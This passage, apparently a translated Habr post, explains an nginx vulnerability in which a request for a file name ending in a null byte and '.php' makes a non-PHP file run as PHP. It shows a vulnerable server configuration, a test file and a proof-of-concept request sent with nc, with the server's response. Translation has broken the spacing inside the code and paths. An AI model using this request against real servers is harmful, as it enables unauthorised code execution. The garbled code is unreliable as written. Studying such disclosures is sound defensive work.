as well as the ability to cause special processing of a file with a space at the end in the configuration of the form
location ~ \ .php $ {
fastcgi_pass ...
}
')
requesting the file as "/ file \ 0.php".
server { listen *: 80; server_name example.com; access_log ...; error_log ...; root / var / www / hot; location ~ \ .php $ { include / etc / nginx / fastcgi_params; fastcgi_param PATH_TRANSLATED $ document_root / $ fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $ document_root / $ fastcgi_script_name; fastcgi_pass pass; } location / css / {} location / js / {} location / img / {} }
cat "/ var / www / hot / hole" <? php echo "I am hole"; ?>
echo -e "GET / hole \ 0.php HTTP / 1.1 \ r \ nHost: example.com \ r \ n \ r \ n" | nc -w 1 example.com 80 HTTP / 1.1 200 OK Server: nginx / 1.4.1 Date: Tue, 19 Nov 2013 15:31:51 GMT Content-Type: text / html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP / 5.4.19-1 ~ dotdeb.1 9 I am hole 0
Source: https://habr.com/ru/post/202796/
All Articles